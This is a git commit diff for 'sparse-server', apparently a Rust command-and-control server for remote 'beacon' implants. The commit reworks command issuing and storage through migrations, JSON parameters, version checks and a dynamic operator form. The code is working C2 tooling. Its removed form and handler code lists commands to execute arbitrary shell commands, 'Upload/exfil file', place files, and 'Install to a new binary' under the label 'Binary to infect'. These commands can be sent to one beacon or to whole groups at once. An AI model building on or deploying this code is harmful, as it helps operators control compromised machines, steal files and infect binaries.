feat: reworked command processing and storage

This commit is contained in:
Andrew Rioux
2025-02-23 18:29:12 -05:00
parent ceb4aa808e
commit 5ed8efca94
36 changed files with 710 additions and 295 deletions

View File

@@ -1,6 +1,6 @@
[package]
name = "sparse-server"
version = "0.1.0"
version.workspace = true
edition = "2021"
[lib]
@@ -51,7 +51,7 @@ server_fn = { version = "0.7.7", features = ["multipart"] }
multer = { version = "3.1.0", optional = true }
uuid = { version = "1.14.0", features = ["v4"], optional = true }
sparse-actions = { path = "../sparse-actions", optional = true }
sparse-actions = { path = "../sparse-actions", features = ["server"] }
sparse-handler = { path = "../sparse-handler", optional = true }
[features]
@@ -79,14 +79,14 @@ ssr = [
"dep:cron",
"dep:sparse-handler",
"dep:rustls-pki-types",
"dep:sparse-actions",
"dep:rand",
"dep:multer",
"dep:uuid",
"leptos/ssr",
"leptos_meta/ssr",
"leptos_router/ssr",
"leptos-use/ssr"
"leptos-use/ssr",
"sparse-actions/server-ssr"
]
[package.metadata.leptos]

View File

@@ -0,0 +1,3 @@
-- Add migration script here
ALTER TABLE beacon_instance ADD COLUMN version int NOT NULL DEFAULT 512;

View File

@@ -0,0 +1,27 @@
-- Add migration script here
DROP TABLE beacon_command_invocation;
DROP TABLE beacon_command;
CREATE TABLE beacon_command (
command_id integer PRIMARY KEY AUTOINCREMENT NOT NULL,
cmd_parameters varchar NOT NULL
);
CREATE TABLE beacon_command_invocation (
beacon_id varchar NOT NULL,
command_id int NOT NULL,
issue_date int NOT NULL,
invoker_id int NOT NULL,
invocation_date int,
invocation_result varchar,
PRIMARY KEY (beacon_id, command_id),
FOREIGN KEY (command_id) REFERENCES beacon_command,
FOREIGN KEY (beacon_id) REFERENCES beacon_instance,
FOREIGN KEY (invoker_id) REFERENCES users
);

View File

@@ -1,66 +1,17 @@
use leptos::{either::Either, prelude::*};
use serde::{Deserialize, Serialize};
use leptos::server_fn::codec::{MultipartData, MultipartFormData};
use web_sys::FormData;
use send_wrapper::SendWrapper;
#[cfg(feature = "ssr")]
use {
sparse_actions::version::Version,
leptos::server_fn::error::NoCustomError,
sqlx::{sqlite::SqliteRow, FromRow, Row},
tokio::io::AsyncWriteExt,
};
use crate::beacons::{BeaconResources, categories::Category};
#[derive(Clone, Serialize, Deserialize)]
pub enum CommandBody {
Update,
Exec { command: String },
Install { target_binary: String },
Upload { target_file: String },
Download { src_file: String, target_path: String },
Chdir { target_dir: String },
Ls
}
#[cfg(feature = "ssr")]
impl FromRow<'_, SqliteRow> for CommandBody {
fn from_row(row: &SqliteRow) -> sqlx::Result<Self> {
match row.try_get("cmd_type")? {
"update" => Ok(Self::Update),
"exec" => Ok(Self::Exec {
command: row.try_get("exec_command")?
}),
"install" => Ok(Self::Install {
target_binary: row.try_get("install_target")?
}),
"upload" => Ok(Self::Upload {
target_file: row.try_get("upload_src")?
}),
"download" => Ok(Self::Download {
src_file: row.try_get("download_src")?,
target_path: row.try_get("download_path")?
}),
"chdir" => Ok(Self::Chdir {
target_dir: row.try_get("chdir_target")?
}),
"ls" => Ok(Self::Ls),
type_name => Err(sqlx::Error::TypeNotFound {
type_name: type_name.to_string()
})
}
}
}
#[cfg_attr(feature = "ssr", derive(FromRow))]
#[derive(Clone, Serialize, Deserialize)]
pub struct BeaconCommand {
pub command_id: i64,
#[cfg_attr(feature = "ssr", sqlx(flatten))]
pub body: CommandBody
}
#[server(
prefix = "/api/commands",
endpoint = "issue_command",
@@ -75,138 +26,19 @@ pub async fn issue_command(
));
};
let mut fields = std::collections::HashMap::<String, String>::new();
let mut download_src = None::<multer::Field>;
let mut fields = serde_json::Map::new();
let db = crate::db::get_db()?;
let mut data = data.into_inner().ok_or(ServerFnError::<NoCustomError>::ServerError(
"No form data was provided".to_owned(),
))?;
while let Ok(Some(field)) = data.next_field().await {
let name = field.name().unwrap_or_default().to_string();
tracing::trace!("Found field {}", &name);
if name != "download_src" {
fields.insert(name.clone(), field.text().await.unwrap_or_default());
} else {
download_src = Some(field);
}
}
while let Ok(Some(mut field)) = data.next_field().await {
tracing::debug!("Processing field {:?}", field.name());
let Some(name) = field.name().map(|f| f.to_string()) else { continue; };
enum Target {
Beacon(String),
Category(i64)
}
let file_name = field.file_name().map(str::to_string);
let Some(target_beacons) = fields
.get("beacon_id")
.map(Clone::clone)
.map(Target::Beacon)
.or(fields
.get("category_id")
.map(|id| id.parse::<i64>().ok())
.flatten()
.map(Target::Category)) else {
return Err(ServerFnError::<NoCustomError>::ServerError(
"A beacon command cannot be made without a target".to_owned(),
));
};
let db = crate::db::get_db()?;
let command_id = match fields.get("cmd_type").map(Clone::clone).as_deref() {
Some("update") => {
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type) VALUES ('update')"
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("ls") => {
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type) VALUES ('ls')"
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("chdir") => {
let chdir_target = fields
.get("chdir_target")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Directory target cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, chdir_target) VALUES ('chdir', ?)",
chdir_target
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("exec") => {
let exec_command = fields
.get("exec_command")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Command cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, exec_command) VALUES ('exec', ?)",
exec_command
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("install") => {
let install_target = fields
.get("install_target")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Install target cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, install_target) VALUES ('install', ?)",
install_target
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("upload") => {
let upload_src = fields
.get("upload_src")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Upload file request path cannot be empty".to_owned(),
))?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, upload_src) VALUES ('upload', ?)",
upload_src
)
.execute(&db)
.await?
.last_insert_rowid())
}
Some("download") => {
let download_path = fields
.get("download_path")
.filter(|s| !s.is_empty())
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"Upload file request path cannot be empty".to_owned(),
))?;
let mut download_src = download_src
.ok_or(ServerFnError::<NoCustomError>::ServerError(
"File to upload cannot be empty".to_owned(),
))?;
let file_name = download_src.file_name().unwrap_or_default().to_string();
if let Some(file_name) = file_name {
let file_id = uuid::Uuid::new_v4();
let mut target_file_path = expect_context::<std::path::PathBuf>();
@@ -220,7 +52,7 @@ pub async fn issue_command(
.open(target_file_path)
.await?;
while let Ok(Some(chunk)) = download_src.chunk().await {
while let Ok(Some(chunk)) = field.chunk().await {
target_file.write(&chunk).await?;
}
@@ -232,24 +64,83 @@ pub async fn issue_command(
.execute(&db)
.await?;
Ok(sqlx::query!(
"INSERT INTO beacon_command (cmd_type, download_src, download_path) VALUES ('download', ?, ?)",
file_id,
download_path
)
.execute(&db)
.await?
.last_insert_rowid())
fields.insert(name, serde_json::to_value(sparse_actions::actions::FileId(file_id))?);
} else {
let Ok(value) = field.text().await else { continue; };
let json = match serde_json::from_str(&value) {
Ok(v) => v,
Err(_) => serde_json::Value::String(value.clone())
};
fields.insert(name, json);
}
_ => Err(ServerFnError::<NoCustomError>::ServerError(
"Unknown command type".to_owned(),
))
}?;
}
enum Target {
Beacon(String),
Category(i64)
}
tracing::debug!("Parameters provided: {:?}", serde_json::to_string(&fields));
let Some(target_beacons) = fields
.get("target_beacon_id")
.and_then(serde_json::Value::as_str)
.map(str::to_string)
.map(Target::Beacon)
.or(fields
.get("target_category_id")
.and_then(serde_json::Value::as_i64)
.map(Target::Category)) else {
return Err(ServerFnError::<NoCustomError>::ServerError(
"A beacon command cannot be made without a target".to_owned(),
));
};
fields.remove("target_beacon_id");
fields.remove("target_category_id");
let Some(command_builder) = sparse_actions::actions::ACTION_BUILDERS
.iter()
.find(|builder| Some(builder.name()) == fields.get("cmd_type").and_then(serde_json::Value::as_str)) else {
return Err(ServerFnError::<NoCustomError>::ServerError(
"No command type provided".to_owned(),
));
};
let fields = serde_json::Value::Object(fields);
command_builder.verify_json_body(fields.clone())?;
serde_json::from_value::<sparse_actions::actions::Actions>(fields.clone())?;
let serialized_fields = serde_json::to_string(&fields)?;
let command_id = sqlx::query!(
"INSERT INTO beacon_command (cmd_parameters) VALUES (?)",
serialized_fields
)
.execute(&db)
.await?
.last_insert_rowid();
let now = chrono::Utc::now();
match target_beacons {
Target::Beacon(bid) => {
let beacon_instance = sqlx::query!(
r#"SELECT version as "version: Version" FROM beacon_instance WHERE beacon_id = ?"#,
bid
)
.fetch_one(&db)
.await?;
if beacon_instance.version < command_builder.required_version() {
return Err(ServerFnError::<NoCustomError>::ServerError(format!(
"Beacon does not meet the minimum required version to run that command ({} vs {})",
beacon_instance.version,
command_builder.required_version()
)));
}
sqlx::query!(
"INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
VALUES (?, ?, ?, ?)",
@@ -262,16 +153,20 @@ pub async fn issue_command(
.await?;
}
Target::Category(cid) => {
let version = command_builder.required_version();
sqlx::query!(
"INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
SELECT ?, ?, ?, bi.beacon_id FROM beacon_category bc
INNER JOIN beacon_category_assignment bca ON bc.category_id = bca.category_id
INNER JOIN beacon_instance bi ON bca.beacon_id = bi.beacon_id
WHERE bc.category_id = ?",
WHERE bc.category_id = ?
AND bi.version >= ?",
command_id,
now,
user.user_id,
cid
cid,
version
)
.execute(&db)
.await?;
@@ -290,6 +185,8 @@ pub fn CommandForm(categories: Vec<Category>, beacon_id: Option<String>) -> impl
}
});
let (current_cmd, set_current_cmd) = signal("Exec".to_owned());
view! {
{(categories.is_empty() && beacon_id.is_none())
.then(|| view! {
@@ -318,14 +215,14 @@ pub fn CommandForm(categories: Vec<Category>, beacon_id: Option<String>) -> impl
<legend>"Issue new command"</legend>
{if let Some(bid) = beacon_id.clone() {
Either::Left(view! {
<input name="beacon_id" type="hidden" value=bid />
<input name="target_beacon_id" type="hidden" value=bid />
})
} else {
Either::Right(view! {
<label>
"Select a category to command"
</label>
<select name="category_id">
<select name="target_category_id">
{categories
.iter()
.map(|cat| view! {
@@ -338,27 +235,34 @@ pub fn CommandForm(categories: Vec<Category>, beacon_id: Option<String>) -> impl
})
}}
<label>"Type of command"</label>
<select name="cmd_type">
<option value="exec">"Execute command"</option>
<option value="upload">"Upload/exfil file"</option>
<option value="download">"Download/place file"</option>
<option value="update">"Update beacon"</option>
<option value="chdir">"Change directory"</option>
<option value="ls">"List files"</option>
<option value="install">"Install to a new binary"</option>
<select
name="cmd_type"
on:change:target=move |ev| {
set_current_cmd(ev.target().value().to_string())
}
prop:value=move || current_cmd.get()
>
{sparse_actions::actions::ACTION_BUILDERS
.iter()
.map(|b| view! {
<option value=b.name()>{b.name()}</option>
})
.collect_view()}
</select>
<label class="cmd-exec">"Command"</label>
<input class="cmd-exec" name="exec_command" />
<label class="cmd-upload">"File to upload/exfil"</label>
<input class="cmd-upload" name="upload_src" />
<label class="cmd-chdir">"Directory to change to"</label>
<input class="cmd-chdir" name="chdir_target" />
<label class="cmd-install">"Binary to infect"</label>
<input class="cmd-install" name="install_target" />
<label class="cmd-download">"Target location for file"</label>
<input class="cmd-download" name="download_path"/>
<label class="cmd-download">"File to download/place"</label>
<input class="cmd-download" name="download_src" type="file" />
{move || sparse_actions::actions::ACTION_BUILDERS
.iter()
.find(|b| b.name() == *current_cmd.read())
.map(|b| b
.form_elements()
.iter()
.map(|(label, name, itype)| view! {
<label>{label.to_string()}</label>
<input
name=name.to_string()
type=itype.unwrap_or("text").to_string()
/>
})
.collect_view())}
<div></div>
<input type="submit" value="Submit" disabled=move ||command_action.pending().get()/>
</fieldset>

View File

@@ -52,6 +52,7 @@ pub struct CurrentBeaconInstance {
pub operating_system: String,
pub userent: String,
pub hostname: String,
pub version: sparse_actions::version::Version,
pub last_checkin: chrono::DateTime<chrono::Utc>,
pub config_id: Option<i64>,
pub template_id: i64,
@@ -588,6 +589,9 @@ pub fn BeaconSidebar() -> impl IntoView {
<div class="beacon-instance-os">
<span>"OS: "</span> {beacon.operating_system.clone()}
</div>
<div class="beacon-instance-vers">
<span>"Version: "</span> {beacon.version.to_string()}
</div>
{(sort_method.get() != Some(SortMethod::Category))
.then(|| -> Vec<String> {
let BeaconResources {

View File

@@ -13,6 +13,7 @@ use serde::Deserialize;
use sqlx::sqlite::SqlitePool;
use tokio::signal;
use sparse_actions::version::Version;
use sparse_server::app::*;
#[cfg(not(debug_assertions))]
@@ -362,7 +363,8 @@ async fn handle_listener_events(
{
let beacons = sqlx::query!(
"SELECT beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id FROM beacon_instance"
r#"SELECT beacon_id, template_id, peer_ip, nickname, cwd, operating_system,
beacon_userent, hostname, config_id, version as "version: Version" FROM beacon_instance"#
)
.fetch_all(&state.db)
.await?;
@@ -407,6 +409,7 @@ async fn handle_listener_events(
userent: b.beacon_userent,
hostname: b.hostname,
config_id: b.config_id,
version: b.version,
last_checkin: last_checkin
.iter()
.find(|ch| ch.beacon_id == b.beacon_id)
@@ -440,8 +443,8 @@ async fn handle_listener_events(
}
Ok(BeaconEvent::NewBeacon(bid)) => {
let beacon = sqlx::query!(
"SELECT template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id FROM beacon_instance
WHERE beacon_id = ?",
r#"SELECT template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id, version as "version: Version" FROM beacon_instance
WHERE beacon_id = ?"#,
bid
)
.fetch_one(&state.db)
@@ -465,6 +468,7 @@ async fn handle_listener_events(
userent: beacon.beacon_userent,
hostname: beacon.hostname,
config_id: beacon.config_id,
version: beacon.version,
last_checkin: chrono::Utc::now(),
category_ids: category_ids.iter().map(|r| r.category_id).collect()
};

View File

@@ -11,28 +11,4 @@ main.beacons div.commands {
margin: 10px;
}
}
.cmd-exec, .cmd-install, .cmd-upload, .cmd-download, .cmd-chdir {
display: none;
}
select[name="cmd_type"]:has(> option[value="exec"]:checked) ~ .cmd-exec {
display: block;
}
select[name="cmd_type"]:has(> option[value="upload"]:checked) ~ .cmd-upload {
display: block;
}
select[name="cmd_type"]:has(> option[value="download"]:checked) ~ .cmd-download {
display: block;
}
select[name="cmd_type"]:has(> option[value="chdir"]:checked) ~ .cmd-chdir {
display: block;
}
select[name="cmd_type"]:has(> option[value="install"]:checked) ~ .cmd-install {
display: block;
}
}